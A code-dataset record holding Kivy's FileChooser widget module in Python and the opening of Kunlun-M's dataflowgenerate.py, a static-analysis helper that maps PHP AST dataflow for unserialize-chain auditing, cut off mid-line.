2021-03-02T01:14:18.622703
2020-06-09T08:28:44
2020-06-09T08:28:44
245,826,041
2
1
null
null
null
null
UTF-8
Python
false
false
36,467
py
''' FileChooser =========== The FileChooser module provides various classes for describing, displaying and browsing file systems. Simple widgets -------------- There are two ready-to-use widgets that provide views of the file system. Each of these present the files and folders in a different style. The :class:`FileChooserListView` displays file entries as text items in a vertical list, where folders can be collapsed and expanded. .. image:: images/filechooser_list.png The :class:`FileChooserIconView` presents icons and text from left to right, wrapping them as required. .. image:: images/filechooser_icon.png They both provide for scrolling, selection and basic user interaction. Please refer to the :class:`FileChooserController` for details on supported events and properties. Widget composition ------------------ FileChooser classes adopt a `MVC <https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller>`_ design. They are exposed so that you to extend and customize your file chooser according to your needs. The FileChooser classes can be categorized as follows: * Models are represented by concrete implementations of the :class:`FileSystemAbstract` class, such as the :class:`FileSystemLocal`. * Views are represented by the :class:`FileChooserListLayout` and :class:`FileChooserIconLayout` classes. These are used by the :class:`FileChooserListView` and :class:`FileChooserIconView` widgets respectively. * Controllers are represented by concrete implementations of the :class:`FileChooserController`, namely the :class:`FileChooser`, :class:`FileChooserIconView` and :class:`FileChooserListView` classes. This means you can define your own views or provide :class:`FileSystemAbstract` implementations for alternative file systems for use with these widgets. The :class:`FileChooser` can be used as a controller for handling multiple, synchronized views of the same path. By combining these elements, you can add your own views and file systems and have them easily interact with the existing components. Usage example ------------- main.py .. include:: ../../examples/RST_Editor/main.py :literal: editor.kv .. highlight:: kv .. include:: ../../examples/RST_Editor/editor.kv :literal: .. versionadded:: 1.0.5 .. versionchanged:: 1.2.0 In the chooser template, the `controller` is no longer a direct reference but a weak-reference. If you are upgrading, you should change the notation `root.controller.xxx` to `root.controller().xxx`. ''' __all__ = ('FileChooserListView', 'FileChooserIconView', 'FileChooserListLayout', 'FileChooserIconLayout', 'FileChooser', 'FileChooserController', 'FileChooserProgressBase', 'FileSystemAbstract', 'FileSystemLocal') from weakref import ref from time import time from kivy.compat import string_types from kivy.factory import Factory from kivy.clock import Clock from kivy.lang import Builder from kivy.logger import Logger from kivy.utils import platform as core_platform from kivy.uix.floatlayout import FloatLayout from kivy.uix.relativelayout import RelativeLayout from kivy.uix.screenmanager import ScreenManager, Screen from kivy.properties import ( StringProperty, ListProperty, BooleanProperty, ObjectProperty, NumericProperty, AliasProperty) from os import listdir from os.path import ( basename, join, sep, normpath, expanduser, altsep, splitdrive, realpath, getsize, isdir, abspath, isfile, dirname) from fnmatch import fnmatch import collections platform = core_platform filesize_units = ('B', 'KB', 'MB', 'GB', 'TB') _have_win32file = False if platform == 'win': # Import that module here as it's not available on non-windows machines. # See http://bit.ly/i9klJE except that the attributes are defined in # win32file not win32com (bug on page). # Note: For some reason this doesn't work after a os.chdir(), no matter to # what directory you change from where. Windows weirdness. try: from win32file import FILE_ATTRIBUTE_HIDDEN, GetFileAttributesExW, \ error _have_win32file = True except ImportError: Logger.error('filechooser: win32file module is missing') Logger.error('filechooser: we cant check if a file is hidden or not') def alphanumeric_folders_first(files, filesystem): return (sorted(f for f in files if filesystem.is_dir(f)) + sorted(f for f in files if not filesystem.is_dir(f))) class FileSystemAbstract(object): '''Class for implementing a File System view that can be used with the :class:`FileChooser <FileChooser>`. .. versionadded:: 1.8.0 ''' def listdir(self, fn): '''Return the list of files in the directory `fn` ''' pass def getsize(self, fn): '''Return the size in bytes of a file ''' pass def is_hidden(self, fn): '''Return True if the file is hidden ''' pass def is_dir(self, fn): '''Return True if the argument passed to this method is a directory ''' pass class FileSystemLocal(FileSystemAbstract): '''Implementation of :class:`FileSystemAbstract` for local files. .. versionadded:: 1.8.0 ''' def listdir(self, fn): return listdir(fn) def getsize(self, fn): return getsize(fn) def is_hidden(self, fn): if platform == 'win': if not _have_win32file: return False try: return GetFileAttributesExW(fn)[0] & FILE_ATTRIBUTE_HIDDEN except error: # This error can occurred when a file is already accessed by # someone else. So don't return to True, because we have lot # of chances to not being able to do anything with it. Logger.exception('unable to access to <%s>' % fn) return True return basename(fn).startswith('.') def is_dir(self, fn): return isdir(fn) class FileChooserProgressBase(FloatLayout): '''Base for implementing a progress view. This view is used when too many entries need to be created and are delayed over multiple frames. .. versionadded:: 1.2.0 ''' path = StringProperty('') '''Current path of the FileChooser, read-only. ''' index = NumericProperty(0) '''Current index of :attr:`total` entries to be loaded. ''' total = NumericProperty(1) '''Total number of entries to load. ''' def cancel(self, *largs): '''Cancel any action from the FileChooserController. ''' if self.parent: self.parent.cancel() def on_touch_down(self, touch): if self.collide_point(*touch.pos): super(FileChooserProgressBase, self).on_touch_down(touch) return True def on_touch_move(self, touch): if self.collide_point(*touch.pos): super(FileChooserProgressBase, self).on_touch_move(touch) return True def on_touch_up(self, touch): if self.collide_point(*touch.pos): super(FileChooserProgressBase, self).on_touch_up(touch) return True class FileChooserProgress(FileChooserProgressBase): pass class FileChooserLayout(FloatLayout): '''Base class for file chooser layouts. .. versionadded:: 1.9.0 ''' VIEWNAME = 'undefined' __events__ = ('on_entry_added', 'on_entries_cleared', 'on_subentry_to_entry', 'on_remove_subentry', 'on_submit') controller = ObjectProperty() ''' Reference to the controller handling this layout. :class:`~kivy.properties.ObjectProperty` ''' def on_entry_added(self, node, parent=None): pass def on_entries_cleared(self): pass def on_subentry_to_entry(self, subentry, entry): pass def on_remove_subentry(self, subentry, entry): pass def on_submit(self, selected, touch=None): pass class FileChooserListLayout(FileChooserLayout): '''File chooser layout using a list view. .. versionadded:: 1.9.0 ''' VIEWNAME = 'list' _ENTRY_TEMPLATE = 'FileListEntry' def __init__(self, **kwargs): super(FileChooserListLayout, self).__init__(**kwargs) self.fbind('on_entries_cleared', self.scroll_to_top) def scroll_to_top(self, *args): self.ids.scrollview.scroll_y = 1.0 class FileChooserIconLayout(FileChooserLayout): '''File chooser layout using an icon view. .. versionadded:: 1.9.0 ''' VIEWNAME = 'icon' _ENTRY_TEMPLATE = 'FileIconEntry' def __init__(self, **kwargs): super(FileChooserIconLayout, self).__init__(**kwargs) self.fbind('on_entries_cleared', self.scroll_to_top) def scroll_to_top(self, *args): self.ids.scrollview.scroll_y = 1.0 class FileChooserController(RelativeLayout): '''Base for implementing a FileChooser. Don't use this class directly, but prefer using an implementation such as the :class:`FileChooser`, :class:`FileChooserListView` or :class:`FileChooserIconView`. :Events: `on_entry_added`: entry, parent Fired when a root-level entry is added to the file list. If you return True from this event, the entry is not added to FileChooser. `on_entries_cleared` Fired when the the entries list is cleared, usually when the root is refreshed. `on_subentry_to_entry`: entry, parent Fired when a sub-entry is added to an existing entry or when entries are removed from an entry e.g. when a node is closed. `on_submit`: selection, touch Fired when a file has been selected with a double-tap. ''' _ENTRY_TEMPLATE = None layout = ObjectProperty(baseclass=FileChooserLayout) ''' Reference to the layout widget instance. layout is an :class:`~kivy.properties.ObjectProperty`. .. versionadded:: 1.9.0 ''' path = StringProperty(u'/') ''' path is a :class:`~kivy.properties.StringProperty` and defaults to the current working directory as a unicode string. It specifies the path on the filesystem that this controller should refer to. .. warning:: If a unicode path is specified, all the files returned will be in unicode, allowing the display of unicode files and paths. If a bytes path is specified, only files and paths with ascii names will be displayed properly: non-ascii filenames will be displayed and listed with questions marks (?) instead of their unicode characters. ''' filters = ListProperty([]) ''' filters specifies the filters to be applied to the files in the directory. filters is a :class:`~kivy.properties.ListProperty` and defaults to []. This is equivalent to '\\*' i.e. nothing is filtered. The filters are not reset when the path changes. You need to do that yourself if desired. There are two kinds of filters: patterns and callbacks. #. Patterns e.g. ['\\*.png']. You can use the following patterns: ========== ================================= Pattern Meaning ========== ================================= \\* matches everything ? matches any single character [seq] matches any character in seq [!seq] matches any character not in seq ========== ================================= #. Callbacks You can specify a function that will be called for each file. The callback will be passed the folder and file name as the first and second parameters respectively. It should return True to indicate a match and False otherwise. .. versionchanged:: 1.4.0 Added the option to specify the filter as a callback. ''' filter_dirs = BooleanProperty(False) ''' Indicates whether filters should also apply to directories. filter_dirs is a :class:`~kivy.properties.BooleanProperty` and defaults to False. ''' sort_func = ObjectProperty(alphanumeric_folders_first) ''' Provides a function to be called with a list of filenames as the first argument and the filesystem implementation as the second argument. It returns a list of filenames sorted for display in the view. sort_func is an :class:`~kivy.properties.ObjectProperty` and defaults to a function returning alphanumerically named folders first. .. versionchanged:: 1.8.0 The signature needs now 2 arguments: first the list of files, second the filesystem class to use. ''' files = ListProperty([]) ''' The list of files in the directory specified by path after applying the filters. files is a read-only :class:`~kivy.properties.ListProperty`. ''' show_hidden = BooleanProperty(False) ''' Determines whether hidden files and folders should be shown. show_hidden is a :class:`~kivy.properties.BooleanProperty` and defaults to False. ''' selection = ListProperty([]) ''' Contains the list of files that are currently selected. selection is a read-only :class:`~kivy.properties.ListProperty` and defaults to []. ''' multiselect = BooleanProperty(False) ''' Determines whether the user is able to select multiple files or not. multiselect is a :class:`~kivy.properties.BooleanProperty` and defaults to False. ''' dirselect = BooleanProperty(False) ''' Determines whether directories are valid selections or not. dirselect is a :class:`~kivy.properties.BooleanProperty` and defaults to False. .. versionadded:: 1.1.0 ''' rootpath = StringProperty(None, allownone=True) ''' Root path to use instead of the system root path. If set, it will not show a ".." directory to go up to the root path. For example, if you set rootpath to /users/foo, the user will be unable to go to /users or to any other directory not starting with /users/foo. rootpath is a :class:`~kivy.properties.StringProperty` and defaults to None. .. versionadded:: 1.2.0 .. note:: Similarly to :attr:`path`, whether `rootpath` is specified as bytes or a unicode string determines the type of the filenames and paths read. ''' progress_cls = ObjectProperty(FileChooserProgress) '''Class to use for displaying a progress indicator for filechooser loading. progress_cls is an :class:`~kivy.properties.ObjectProperty` and defaults to :class:`FileChooserProgress`. .. versionadded:: 1.2.0 .. versionchanged:: 1.8.0 If set to a string, the :class:`~kivy.factory.Factory` will be used to resolve the class name. ''' file_encodings = ListProperty( ['utf-8', 'latin1', 'cp1252'], deprecated=True) '''Possible encodings for decoding a filename to unicode. In the case that the user has a non-ascii filename, undecodable without knowing its initial encoding, we have no other choice than to guess it. Please note that if you encounter an issue because of a missing encoding here, we'll be glad to add it to this list. file_encodings is a :class:`~kivy.properties.ListProperty` and defaults to ['utf-8', 'latin1', 'cp1252']. .. versionadded:: 1.3.0 .. deprecated:: 1.8.0 This property is no longer used as the filechooser no longer decodes the file names. ''' file_system = ObjectProperty(FileSystemLocal(), baseclass=FileSystemAbstract) '''The file system object used to access the file system. This should be a subclass of :class:`FileSystemAbstract`. file_system is an :class:`~kivy.properties.ObjectProperty` and defaults to :class:`FileSystemLocal()` .. versionadded:: 1.8.0 ''' _update_files_ev = None _create_files_entries_ev = None __events__ = ('on_entry_added', 'on_entries_cleared', 'on_subentry_to_entry', 'on_remove_subentry', 'on_submit') def __init__(self, **kwargs): self._progress = None super(FileChooserController, self).__init__(**kwargs) self._items = [] fbind = self.fbind fbind('selection', self._update_item_selection) self._previous_path = [self.path] fbind('path', self._save_previous_path) update = self._trigger_update fbind('path', update) fbind('filters', update) fbind('rootpath', update) update() def on_touch_down(self, touch): # don't respond to touchs outside self if not self.collide_point(*touch.pos): return if self.disabled: return True return super(FileChooserController, self).on_touch_down(touch) def on_touch_up(self, touch): # don't respond to touchs outside self if not self.collide_point(*touch.pos): return if self.disabled: return True return super(FileChooserController, self).on_touch_up(touch) def _update_item_selection(self, *args): for item in self._items: item.selected = item.path in self.selection def _save_previous_path(self, instance, value): self._previous_path.append(value) self._previous_path = self._previous_path[-2:] def _trigger_update(self, *args): ev = self._update_files_ev if ev is None: ev = self._update_files_ev = Clock.create_trigger( self._update_files) ev() def on_entry_added(self, node, parent=None): if self.layout: self.layout.dispatch('on_entry_added', node, parent) def on_entries_cleared(self): if self.layout: self.layout.dispatch('on_entries_cleared') def on_subentry_to_entry(self, subentry, entry): if self.layout: self.layout.dispatch('on_subentry_to_entry', subentry, entry) def on_remove_subentry(self, subentry, entry): if self.layout: self.layout.dispatch('on_remove_subentry', subentry, entry) def on_submit(self, selected, touch=None): if self.layout: self.layout.dispatch('on_submit', selected, touch) def entry_touched(self, entry, touch): '''(internal) This method must be called by the template when an entry is touched by the user. ''' if ( 'button' in touch.profile and touch.button in ( 'scrollup', 'scrolldown', 'scrollleft', 'scrollright')): return False _dir = self.file_system.is_dir(entry.path) dirselect = self.dirselect if _dir and dirselect and touch.is_double_tap: self.open_entry(entry) return if self.multiselect: if entry.path in self.selection: self.selection.remove(entry.path) else: if _dir and not self.dirselect: self.open_entry(entry) return self.selection.append(entry.path) else: if _dir and not self.dirselect: return self.selection = [abspath(join(self.path, entry.path)), ] def entry_released(self, entry, touch): '''(internal) This method must be called by the template when an entry is touched by the user. .. versionadded:: 1.1.0 ''' if ( 'button' in touch.profile and touch.button in ( 'scrollup', 'scrolldown', 'scrollleft', 'scrollright')): return False if not self.multiselect: if self.file_system.is_dir(entry.path) and not self.dirselect: self.open_entry(entry) elif touch.is_double_tap: if self.dirselect and self.file_system.is_dir(entry.path): return else: self.dispatch('on_submit', self.selection, touch) def open_entry(self, entry): try: # Just check if we can list the directory. This is also what # _add_file does, so if it fails here, it would also fail later # on. Do the check here to prevent setting path to an invalid # directory that we cannot list. self.file_system.listdir(entry.path) except OSError: entry.locked = True else: # If entry.path is to jump to previous directory, update path with # parent directory self.path = abspath(join(self.path, entry.path)) self.selection = [self.path, ] if self.dirselect else [] def _apply_filters(self, files): if not self.filters: return files filtered = [] for filt in self.filters: if isinstance(filt, collections.Callable): filtered.extend([fn for fn in files if filt(self.path, fn)]) else: filtered.extend([fn for fn in files if fnmatch(fn, filt)]) if not self.filter_dirs: dirs = [fn for fn in files if self.file_system.is_dir(fn)] filtered.extend(dirs) return list(set(filtered)) def get_nice_size(self, fn): '''Pass the filepath. Returns the size in the best human readable format or '' if it is a directory (Don't recursively calculate size). ''' if self.file_system.is_dir(fn): return '' try: size = self.file_system.getsize(fn) except OSError: return '--' for unit in filesize_units: if size < 1024.0: return '%1.0f %s' % (size, unit) size /= 1024.0 def _update_files(self, *args, **kwargs): # trigger to start gathering the files in the new directory # we'll start a timer that will do the job, 10 times per frames # (default) self._gitems = [] self._gitems_parent = kwargs.get('parent', None) self._gitems_gen = self._generate_file_entries( path=kwargs.get('path', self.path), parent=self._gitems_parent) # cancel any previous clock if exist ev = self._create_files_entries_ev if ev is not None: ev.cancel() # show the progression screen self._hide_progress() if self._create_files_entries(): # not enough for creating all the entries, all a clock to continue # start a timer for the next 100 ms if ev is None: ev = self._create_files_entries_ev = Clock.schedule_interval( self._create_files_entries, .1) ev() def _get_file_paths(self, items): return [file.path for file in items] def _create_files_entries(self, *args): # create maximum entries during 50ms max, or 10 minimum (slow system) # (on a "fast system" (core i7 2700K), we can create up to 40 entries # in 50 ms. So 10 is fine for low system. start = time() finished = False index = total = count = 1 while time() - start < 0.05 or count < 10: try: index, total, item = next(self._gitems_gen) self._gitems.append(item) count += 1 except StopIteration: finished = True break except TypeError: # in case _gitems_gen is None finished = True break # if this wasn't enough for creating all the entries, show a progress # bar, and report the activity to the user. if not finished: self._show_progress() self._progress.total = total self._progress.index = index return True # we created all the files, now push them on the view self._items = items = self._gitems parent = self._gitems_parent if parent is None: self.dispatch('on_entries_cleared') for entry in items: self.dispatch('on_entry_added', entry, parent) else: parent.entries[:] = items for entry in items: self.dispatch('on_subentry_to_entry', entry, parent) self.files[:] = self._get_file_paths(items) # stop the progression / creation self._hide_progress() self._gitems = None self._gitems_gen = None ev = self._create_files_entries_ev if ev is not None: ev.cancel() return False def cancel(self, *largs): '''Cancel any background action started by filechooser, such as loading a new directory. .. versionadded:: 1.2.0 ''' ev = self._create_files_entries_ev if ev is not None: ev.cancel() self._hide_progress() if len(self._previous_path) > 1: # if we cancel any action, the path will be set same as the # previous one, so we can safely cancel the update of the previous # path. self.path = self._previous_path[-2] ev = self._update_files_ev if ev is not None: ev.cancel() def _show_progress(self): if self._progress: return cls = self.progress_cls if isinstance(cls, string_types): cls = Factory.get(cls) self._progress = cls(path=self.path) self._progress.value = 0 self.add_widget(self._progress) def _hide_progress(self): if self._progress: self.remove_widget(self._progress) self._progress = None def _generate_file_entries(self, *args, **kwargs): # Generator that will create all the files entries. # the generator is used via _update_files() and _create_files_entries() # don't use it directly. is_root = False path = kwargs.get('path', self.path) have_parent = kwargs.get('parent', None) is not None # Add the components that are always needed if self.rootpath: rootpath = realpath(self.rootpath) path = realpath(path) if not path.startswith(rootpath): self.path = rootpath return elif path == rootpath: is_root = True else: if platform == 'win': is_root = splitdrive(path)[1] in (sep, altsep) elif platform in ('macosx', 'linux', 'android', 'ios'): is_root = normpath(expanduser(path)) == sep else: # Unknown fs, just always add the .. entry but also log Logger.warning('Filechooser: Unsupported OS: %r' % platform) # generate an entries to go back to previous if not is_root and not have_parent: back = '..' + sep if platform == 'win': new_path = path[:path.rfind(sep)] if sep not in new_path: new_path += sep pardir = self._create_entry_widget(dict( name=back, size='', path=new_path, controller=ref(self), isdir=True, parent=None, sep=sep, get_nice_size=lambda: '')) else: pardir = self._create_entry_widget(dict( name=back, size='', path=back, controller=ref(self), isdir=True, parent=None, sep=sep, get_nice_size=lambda: '')) yield 0, 1, pardir # generate all the entries for files try: for index, total, item in self._add_files(path): yield index, total, item except OSError: Logger.exception('Unable to open directory <%s>' % self.path) self.files[:] = [] def _create_entry_widget(self, ctx): template = self.layout._ENTRY_TEMPLATE \ if self.layout else self._ENTRY_TEMPLATE return Builder.template(template, **ctx) def _add_files(self, path, parent=None): path = expanduser(path) if isfile(path): path = dirname(path) files = [] fappend = files.append for f in self.file_system.listdir(path): try: # In the following, use fully qualified filenames fappend(normpath(join(path, f))) except UnicodeDecodeError: Logger.exception('unable to decode <{}>'.format(f)) except UnicodeEncodeError: Logger.exception('unable to encode <{}>'.format(f)) # Apply filename filters files = self._apply_filters(files) # Sort the list of files files = self.sort_func(files, self.file_system) is_hidden = self.file_system.is_hidden if not self.show_hidden: files = [x for x in files if not is_hidden(x)] self.files[:] = files total = len(files) wself = ref(self) for index, fn in enumerate(files): def get_nice_size(): # Use a closure for lazy-loading here return self.get_nice_size(fn) ctx = {'name': basename(fn), 'get_nice_size': get_nice_size, 'path': fn, 'controller': wself, 'isdir': self.file_system.is_dir(fn), 'parent': parent, 'sep': sep} entry = self._create_entry_widget(ctx) yield index, total, entry def entry_subselect(self, entry): if not self.file_system.is_dir(entry.path): return self._update_files(path=entry.path, parent=entry) def close_subselection(self, entry): for subentry in entry.entries: self.dispatch('on_remove_subentry', subentry, entry) class FileChooserListView(FileChooserController): '''Implementation of a :class:`FileChooserController` using a list view. .. versionadded:: 1.9.0 ''' _ENTRY_TEMPLATE = 'FileListEntry' class FileChooserIconView(FileChooserController): '''Implementation of a :class:`FileChooserController` using an icon view. .. versionadded:: 1.9.0 ''' _ENTRY_TEMPLATE = 'FileIconEntry' class FileChooser(FileChooserController): '''Implementation of a :class:`FileChooserController` which supports switching between multiple, synced layout views. The FileChooser can be used as follows: .. code-block:: kv BoxLayout: orientation: 'vertical' BoxLayout: size_hint_y: None height: sp(52) Button: text: 'Icon View' on_press: fc.view_mode = 'icon' Button: text: 'List View' on_press: fc.view_mode = 'list' FileChooser: id: fc FileChooserIconLayout FileChooserListLayout .. versionadded:: 1.9.0 ''' manager = ObjectProperty() ''' Reference to the :class:`~kivy.uix.screenmanager.ScreenManager` instance. manager is an :class:`~kivy.properties.ObjectProperty`. ''' _view_list = ListProperty() def get_view_list(self): return self._view_list view_list = AliasProperty(get_view_list, bind=('_view_list',)) ''' List of views added to this FileChooser. view_list is an :class:`~kivy.properties.AliasProperty` of type :class:`list`. ''' _view_mode = StringProperty() def get_view_mode(self): return self._view_mode def set_view_mode(self, mode): if mode not in self._view_list: raise ValueError('unknown view mode %r' % mode) self._view_mode = mode view_mode = AliasProperty( get_view_mode, set_view_mode, bind=('_view_mode',)) ''' Current layout view mode. view_mode is an :class:`~kivy.properties.AliasProperty` of type :class:`str`. ''' @property def _views(self): return [screen.children[0] for screen in self.manager.screens] def __init__(self, **kwargs): super(FileChooser, self).__init__(**kwargs) self.manager = ScreenManager() super(FileChooser, self).add_widget(self.manager) self.trigger_update_view = Clock.create_trigger(self.update_view) self.fbind('view_mode', self.trigger_update_view) def add_widget(self, widget, **kwargs): if widget is self._progress: super(FileChooser, self).add_widget(widget, **kwargs) elif hasattr(widget, 'VIEWNAME'): name = widget.VIEWNAME + 'view' screen = Screen(name=name) widget.controller = self screen.add_widget(widget) self.manager.add_widget(screen) self.trigger_update_view() else: raise ValueError( 'widget must be a FileChooserLayout,' ' not %s' % type(widget).__name__) def rebuild_views(self): views = [view.VIEWNAME for view in self._views] if views != self._view_list: self._view_list = views if self._view_mode not in self._view_list: self._view_mode = self._view_list[0] self._trigger_update() def update_view(self, *args): self.rebuild_views() sm = self.manager viewlist = self._view_list view = self.view_mode current = sm.current[:-4] viewindex = viewlist.index(view) if view in viewlist else 0 currentindex = viewlist.index(current) if current in viewlist else 0 direction = 'left' if currentindex < viewindex else 'right' sm.transition.direction = direction sm.current = view + 'view' def _create_entry_widget(self, ctx): return [Builder.template(view._ENTRY_TEMPLATE, **ctx) for view in self._views] def _get_file_paths(self, items): if self._views: return [file[0].path for file in items] return [] def _update_item_selection(self, *args): for viewitem in self._items: selected = viewitem[0].path in self.selection for item in viewitem: item.selected = selected def on_entry_added(self, node, parent=None): for index, view in enumerate(self._views): view.dispatch( 'on_entry_added', node[index], parent[index] if parent else None) def on_entries_cleared(self): for view in self._views: view.dispatch('on_entries_cleared') def on_subentry_to_entry(self, subentry, entry): for index, view in enumerate(self._views): view.dispatch('on_subentry_to_entry', subentry[index], entry) def on_remove_subentry(self, subentry, entry): for index, view in enumerate(self._views): view.dispatch('on_remove_subentry', subentry[index], entry) def on_submit(self, selected, touch=None): view_mode = self.view_mode for view in self._views: if view_mode == view.VIEWNAME: view.dispatch('on_submit', selected, touch) return if __name__ == '__main__': from kivy.app import App from pprint import pprint import textwrap import sys root = Builder.load_string(textwrap.dedent('''\ BoxLayout: orientation: 'vertical' BoxLayout: size_hint_y: None height: sp(52) Button: text: 'Icon View' on_press: fc.view_mode = 'icon' Button: text: 'List View' on_press: fc.view_mode = 'list' FileChooser: id: fc FileChooserIconLayout FileChooserListLayout ''')) class FileChooserApp(App): def build(self): v = root.ids.fc if len(sys.argv) > 1: v.path = sys.argv[1] v.bind(selection=lambda *x: pprint("selection: %s" % x[1:])) v.bind(path=lambda *x: pprint("path: %s" % x[1:])) return root FileChooserApp().run()
[ "=" ]
=
0d7c295a58bded7d8f0803c7bd0825307c7050e4
d29f2e229cdabaee5b5ee999068dd5cdd4868386
/core/plugins/phpunserializechain/dataflowgenerate.py
81d6bc97c1902b30ac97f8f68cafcb4a79c16d11
[ "MIT" ]
permissive
yzhbeihai/Kunlun-M
af066cbb9a23bff9e5a9645666918fa23cb00727
34765ff927154e981f0fd1f7c159aa1cbc280746
refs/heads/master
2023-05-15T05:13:48.103789
2021-05-13T07:21:24
2021-05-13T07:21:24
null
0
0
null
null
null
null
UTF-8
Python
false
false
43,488
py
#!/usr/bin/env python # encoding: utf-8 ''' @author: LoRexxar @contact: [email protected] @file: dataflowgenerate.py @time: 2020/11/11 14:43 @desc: ''' import re import traceback from core.pretreatment import ast_object from utils.file import Directory from utils.utils import ParseArgs from utils.log import logger, logger_console from web.index.models import get_dataflow_class from Kunlun_M.const import ext_dict from phply import phpast as php class DataflowGenerate: """ ็”ŸๆˆDataflow db """ def __init__(self, *args, **kwargs): # ๅธธ้‡็ฑปๅž‹ๅฎšไน‰ self.Object_define = ['Class', 'Function', 'Method', 'Trait'] self.new_object_define = ['New', 'Array'] self.method_call = ['FunctionCall', 'MethodCall', 'StaticMethodCall', 'ObjectProperty', 'StaticProperty'] self.special_function_single = ['Clone', 'Break', 'Continue', 'Return', 'Yield', 'Print', 'Throw'] self.special_function_multi = ['Echo', 'Unset', 'IsSet'] self.special_function_expr = ['Empty', 'Eval', 'Include', 'Require', 'Exit'] self.special_function = self.special_function_single + self.special_function_multi + self.special_function_expr self.switch_node = ['If', 'ElseIf', 'Else', 'Try', 'While', 'DoWhile', 'For', 'Foreach', 'Switch', 'Case', 'Default'] self.import_node = ['UseDeclarations', 'UseDeclaration', 'ClassVariables', 'ClassVariable', 'StaticVariable', 'MagicConstant', 'Constant', 'LexicalVariable' 'ClassConstants', 'ClassConstant', 'ConstantDeclarations', 'ConstantDeclaration', 'TraitUse'] self.variable_type_node = ['Global', 'Static', 'Cast'] self.op_node = ['AssignOp', 'PreIncDecOp', 'PostIncDecOp', 'BinaryOp', 'UnaryOp', 'TernaryOp'] self.white_node = ['InlineHTML', 'Declare', 'Variable'] self.define_node = ['Interface', 'Namespace'] self.check_node = ['IsSet', 'Empty'] self.child_node = ['Block', 'Silence', 'Namespace'] self.assign_node = ['Assignment', 'ListAssignment'] self.param_node = ['FormalParameter', 'Parameter', 'ArrayElement', 'ArrayOffset', 'StringOffset'] # ไธดๆ—ถๅ…จๅฑ€ๅ˜้‡ self.dataflows = [] self.target = "" def main(self, target, renew=False): self.target = target targetlist = re.split("[\\\/]", target) if target.endswith("/") or target.endswith("\\"): filename = targetlist[-2] else: filename = targetlist[-1] self.dataflow_db = get_dataflow_class(filename, isrenew=renew) dataflows = self.dataflow_db.objects.all() if not dataflows: logger.info('[PhpUnSerChain] Target {} first Scan...Renew dataflow DB.'.format(filename)) self.new_dataflow() else: logger.info('[PhpUnSerChain] Target {} db load success'.format(filename)) return self.dataflow_db def new_dataflow(self): # ๅŠ ่ฝฝ็›ฎๅฝ•ๆ–‡ไปถ pa = ParseArgs(self.target, '', 'csv', '', 'php', '', a_sid=None) target_mode = pa.target_mode target_directory = pa.target_directory(target_mode) logger.info('[CLI] Target : {d}'.format(d=target_directory)) # static analyse files info files, file_count, time_consume = Directory(target_directory).collect_files() # Pretreatment ast object ast_object.init_pre(target_directory, files) ast_object.pre_ast_all(['php']) for file in files: filename_list = [] if file[0] in ext_dict['php']: filename_list = file[1]['list'] for filename in filename_list: all_nodes = ast_object.get_nodes(filename) self.dataflows = [] base_locate = filename.replace('/', '#').replace('\\', '#').replace('.', '_') logger.info("[PhpUnSerChain] New Base locate {}".format(base_locate)) self.base_dataflow_generate(all_nodes, base_locate) base_address_index = self.dataflow_db.objects.all().count() for dataflow in self.dataflows: if dataflow: source_node = str(dataflow[2]) sink_node = str(dataflow[4]) if re.search(r'&[0-9]+', source_node, re.I): address_list = re.findall(r'&[0-9]+', source_node, re.I) for address in address_list: source_node = source_node.replace(address, '&{}'.format(int(address[1:]) + base_address_index)) # source_node = '&{}'.format(int(source_node[1:])+base_address_index) if re.search(r'&[0-9]+', sink_node, re.I): address_list = re.findall(r'&[0-9]+', sink_node, re.I) for address in address_list: sink_node = sink_node.replace(address, '&{}'.format(int(address[1:]) + base_address_index)) # if str(sink_node).startswith('&'): # sink_node = '&{}'.format(int(sink_node[1:])+base_address_index) df = self.dataflow_db(node_locate=dataflow[0], node_sort=dataflow[1], source_node=source_node, node_type=dataflow[3], sink_node=sink_node) df.save() def get_node_params(self, node, now_locate, now_sort=0): result_params = () node_typename = node.__class__.__name__ new_sort = -1 if node_typename in ['Class']: result_params = (self.get_node_name(node.extends, now_locate, new_sort),) elif node_typename in ['Trait']: result_params = (self.get_node_name(node.traits, now_locate, new_sort),) elif node_typename in ['Function', 'Method']: result_params = [] for param in node.params: result_params.append(self.get_node_name(param.name, now_locate, new_sort)) result_params = tuple(result_params) elif node_typename in ['FunctionCall', 'MethodCall', 'StaticMethodCall']: result_params = [] for param in node.params: result_params.append(self.get_node_name(param, now_locate, new_sort)) result_params = tuple(result_params) elif node_typename in ['New']: result_params = [] for param in node.params: result_params.append(self.get_node_name(param, now_locate, new_sort)) result_params = tuple(result_params) elif node_typename in self.special_function_multi: result_params = [] for param in node.nodes: result_params.append(self.get_node_name(param, now_locate, new_sort)) result_params = tuple(result_params) return result_params def get_node_name(self, node, base_locate, now_sort=False): node_typename = node.__class__.__name__ if type(node) is list: result = [] for n in node: result.append(self.get_node_name(n, base_locate, now_sort)) return str(result) if isinstance(node, php.Variable): return '{}-{}'.format(node_typename, node.name) elif isinstance(node, php.ArrayOffset): return '{}-{}@{}'.format(node_typename, self.get_node_name(node.node, base_locate, now_sort), self.get_node_name(node.expr, base_locate, now_sort)) elif isinstance(node, php.ArrayElement): if self.get_node_name(node.key, base_locate, now_sort): return '{}:{}'.format(self.get_node_name(node.key, base_locate, now_sort), self.get_node_name(node.value, base_locate, now_sort)) else: return '{}'.format(self.get_node_name(node.value, base_locate, now_sort)) elif isinstance(node, php.Array): result = [] for array_node in node.nodes: result.append(self.get_node_name(array_node, base_locate, now_sort)) return '{}-{}'.format(node_typename, result) elif isinstance(node, php.Assignment): self.base_dataflow_generate([node], base_locate, now_sort=now_sort) now_nodeid, Newnode = self.deep_obj_address_generate(node, base_locate, now_sort) return '&{}'.format(now_nodeid) elif isinstance(node, php.Parameter): return str(self.get_node_name(node.node, base_locate, now_sort)) elif isinstance(node, php.FormalParameter): return str(self.get_node_name(node.name, base_locate, now_sort)) elif isinstance(node, php.ObjectProperty): return '{}->{}'.format(self.get_node_name(node.node, base_locate, now_sort), self.get_node_name(node.name, base_locate, now_sort)) elif isinstance(node, php.New): # self.base_dataflow_generate([node], base_locate, now_sort=now_sort) now_nodeid, Newnode = self.deep_obj_address_generate(node, base_locate, now_sort) return '&{}'.format(now_nodeid) elif isinstance(node, php.Constant): return 'Constant-' + node.name elif isinstance(node, php.MagicConstant): return 'Constant-{}@{}'.format(self.get_node_name(node.name, base_locate, now_sort), self.get_node_name(node.value, base_locate, now_sort)) elif isinstance(node, php.FunctionCall): self.base_dataflow_generate([node], base_locate, now_sort=now_sort) now_nodeid, Newnode = 